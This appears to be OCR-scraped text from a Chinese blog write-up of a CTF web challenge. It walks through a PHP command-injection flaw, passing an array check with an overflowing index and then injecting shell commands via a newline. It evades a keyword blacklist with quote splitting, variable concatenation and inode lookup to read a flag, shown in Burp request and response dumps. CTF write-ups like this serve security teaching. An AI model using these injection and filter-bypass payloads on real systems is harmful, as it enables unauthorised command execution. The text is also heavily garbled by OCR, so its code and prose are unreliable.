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<“php

fetuft = F_POST["stuff”];

farray = [Tadmin’, “user’]:

if (fstuff === Sarray && Fstuff[0] '= "admin’) |

froum= §_POST["num”] ;
if  (preg_match("/ wd+$/im”, $rum) ) {
if  {Iprez_matchi’sszh|wget |nc|python|php |[perl|v?[flag|} |cat |echo s s[5 T sss ™ [ s ]2, ) ) {
echo “my faworite mam is: Y
zystem“echo ", fnum) ;
telzel

H

echo “Bonjour!’ :

I
}oelse |
highlight file(__FILE__J:
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$_POST[ 1;
> 15
$array $stuff[o]
$num= $_ POST[ 1;
if (preg_match( ,$num) ) {

if (!preg_match( ,$num)){

echo
system( $num) ;
}else{

echo

1
J
} else {
highlight file(__ FILE_);



https://blog.csdn.net/l8947943
https://blog.csdn.net/l8947943/category_11564315.html
https://so.csdn.net/so/search/s.do?q=%25E5%2589%258D%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/l8947943/article/details/122219886
https://blog.csdn.net/l8947943/category_11564315.html

3. 7 A
1.ﬁ}ﬂ?_‘:

$stuff $array $stuff[o
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o PHP#UH Hkeyit H 7 /&,
o PHPHIEE %4 (NR3KESMlag) WEH [Q2] .

WE R, X stuff[4294967296]= admin’ , {RiE stuff[@]!=amdin H $stuff === $array . (XHBRIEREEENTA,
KRRERHE—T)

F R i&postipayload S 31

stuff[4294967296 |=admin&stuff[1l]=user

preg_match $num

N
&
|$|
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preg_match $num
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Safaris537.36

» Accept:
text/html,application/xhtml+xml,applications/xml;g=0.9,imagesa
vif,image/webp,image/fapng,*/*;q=0.8,application/signed-exchan
ge;v=h3;q=0.9

& Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;g=0.9

g Connection: close

u

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User optiens
1 = 2 =
a- -

Request Response
Pretty Hex = Fretty Raw Hex =
1 GET fHTTR/1.1 <7php
2 Host: 111,200,241, 244:60510 l:r|f E q
3 Upgrade-Insecure-Requests: 1 Sstuff.=l$ POST["stuff"];
4 User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x&4) Sarray = [Tadmin' ‘user:] .

. . - r r

AppleWebKit /537,36 (KHTML, like Gecko) Chrome/S5. 0, 4638.69 if($stuff === Sarray && $stuff[0®] '= 'admin'}) {

Fnum= $_POST["num"];
if (preg_match("/"\d+S/im", Snum) ) {
if (!preg_match("/sh|wget|nc|python]|php|perl|\?
|flag|}cat]echo MW" [NAINT NN NN /1", Snum) ) {
echo "my favorite num is:";
system("echo ".&num);
lelse{
echo 'Bonjour!';

9
1
1a
' }
} else {
highlight file(_ FILE_ );
} CSDMN @]|2947943
2. E¥ payload
Burp  Project  Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project o
1 = 2
= (<I]
Request Response
Pretty Hex \n = Pretty Raw Hex =
1 POST fHTTR/L.1 . .
2 Host: 111,200,241, 244: 60510 my favorite num is:123456
Z Upgrade-Insecure-Requests: 1
4 User-aAgent: Mozilla/5.0 (Windows NT 10, 0; Wing4; x64)
AppleWebKit /537,36 (KHTML, 1ike Gecko) Chrome/95. 0. 4638, 639
Safari/537.36
5 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,inage/a
vif,image /webp,image/apng, */*;q=0.8,application/signed-exchan
ge:;v=h3;g=0.9
5 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;g=0.9
& Connection: close
9 Content-Length: 48
10 Content -Type: application/x-www-form-urlencoded
11
12)stuff[4294967296] =adnin&stuff[1l]=user&num=123455
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Bl ik A T4 & payload

stuff[4294967296

admin&stuff[1l]=user&num=123456%0Aca

-

R

FON TV VI ]

wn

4.

num=1%@aca$lt /fl$lag
num=1%@aca$@t /fl$@ag

equest

o e B 0 =

POST f HTTP/1.1

Host: 111,200,241, 244: 60510

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64)

AppleWebKit /537,36 (KHTML, like Gecko] Chrome/95.0, 4638, 69
Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml ;g=0.9,image/a
vif,image/webp,image/apng, */*;g=0.8, application/signed-exchan
ge;v=h3;q=0.9

Accept -Encoding: gzip, deflate

Accept -Language: zh-CN, zh;g=0.9

Connection: close

Content-Length: 64

Content-Type: application/x-www-form-urlencoded

! Istuff[ 4294967296] =admin&stuff[1]=user&num=123458%0Aca " "t

Ff17 "ag
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t /fl ag

Response

Pretty Raw Hex =

my favorite num is: 123456
cyberpeace{d7505ffe20e9367aaeb9e52030ceebe3}
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Request Response

Pretty Hex E \n| [ = Pretty - Hex Render B in | [=

1 POST f HTTR/1.1 1 HTITR/1.1 200 0K
2 Host: 111.200.241.244: 60510 2 Server: nginx/1l.4.6(Ubuntu)
2 Upgrade-Insecure-Requests: 1 S Date: Wed, 29Dec 2021 10:00: 11 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4) 4 Content-Type: text /html
AppleWebKit /537,36 (KHTML, 1ike Gecko) Chromes95. 0. 4638, 69 5 Connection: close
Safari/537.36 5 ¥-Powered-By: PHP/5.5.9-1ubuntud, 29
5 Accept: 7 Content-Length: 298
text/html,applicationsxhtml+xml,applicationsxml;q=0.9, image/a 8
vif,image/webp,image/apng, */*;g=0.8,application/signed-exchan 9 my favorite numis:123456
ge;v=hb3;g=0.9 10 3284127 bin
& Accept-Encoding: gzip, deflate 11 30940644 boot
7 Accept-Language: zh-CN,zh;g=0.9 12 2dev
& Connection: close 13 184886802 etc
9 Content-Length: 58 14 18488713 flag
10 Content-Type: applications/x-www-form-urlencoded 15 30941276 home
11 15 328476511ib
12 stuff[ 4294967296 =adnin&stuff[1l]=user&num=123456%0Als -1 / 17 3107118811ib64

18 31071190 media

19 31071191 mnt

20 31071192 opt

21 1proc

22 31071194 root

23 31466142 run

24 31466109 shin

25 31071333 srv

26 1sys

27 3284773 tmp

28 3285677 usr

29 3285396 var. . _ . - .
20 CSDMN @18947943
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Request Response

Pretty Hex \n = Pretty - Hex Render \n | =

1 POST /HTTR/1.1 1 HTTR/1.1 200 0K
Z Host: 111,200,241, 244: 60510 2 Server: nginx/1l.4.6 (Ubuntu)
Z Upgrade-Insecure-Requests: 1 % Date: Wed, 29 Dec 2021 10: 05: 43 GMT
4 User-aAgent: Mozilla/5.0 (Windows NT 10, 0; Wing4; x64) 4 Content-Type: text/html
AppleWebkit /537,36 (KHTHML, 1ike Gecko) Chrome/95. 0, 4638, 69 5 Connection: close
Safari/537.36 5 ¥-Powered-By: PHP/5.5.9-1lubuntu4d,29
5 Accept: 7 Content-Length: 71
text/html,application/xhtml+xml,application/xml;g=0.9,inage/a g
vif,image /webp,image/apng, */*;q=0.8,application/signed-exchan 9 my favorite numis:123456
ge;v=h3;q=0.9 10 cyberpeace{d7505ffe20e9367aach9e52030ceehe3}
5 Accept-Encoding: gzip, deflate 11
7 Accept-Language: zh-CN,zh;g=0.9
& Connection: close

LT+]

Content-Length: 78

10 Content-Type: application/x-www-form-urlencoded

11

12 s'tuf'F[429496?296]=admin&stuff[1]=user&num=123456‘%0.ﬁtac|‘find /

-inum 18488713 CSDMN @|2947942
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Request Response

Pretty Hex \n = Pretty ECENTM Hex Render \n | =

1 POST fHTTR/L.1 HTTR/1 .1 200 0K

2 Host: 111.200.241.244:60510 Server: nginx/l.4.6 (Ubuntu)

Z Upgrade-Insecure-Requests: 1 Date: Wed, 29 Dec 2021 10: 07 29 GMT

4 User-aAgent: Mozilla/5.0 (Windows NT 10, 0; Wing4; x&64) Content -Type: text /html

AppleWebkit /537,36 (KHTHML, 1ike Gecko) Chrome/95. 0. 4538, 69 Connection: close

Safari/537.36 5 ¥-Powered-By: PHP/5.5.9-1lubuntu4d,29
Accept: Content-Length: 71
text/html,application/xhtml+xml,application/xml;g=0.9,image/a
vif,image /webp,image/apng, */*;q=0.8,application/signed-exchan
ge;v=h3;q=0.9

5 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;g=0.9

& Connection: close

9 Content-Length: 71

L0 Content-Type: applications/x-www-form-urlencoded

U wM -

un

9 my favorite numis:123456
O cyberpeace{d7505ffe20e9367aach9e52030ceehe3}
1

12 stuff[ 4294987296 =adnin&stuff[1l]l=user&num= ror B AT O A
123456%08a=F ; b=1ag;tac /$ash; CSDMN @|8947943
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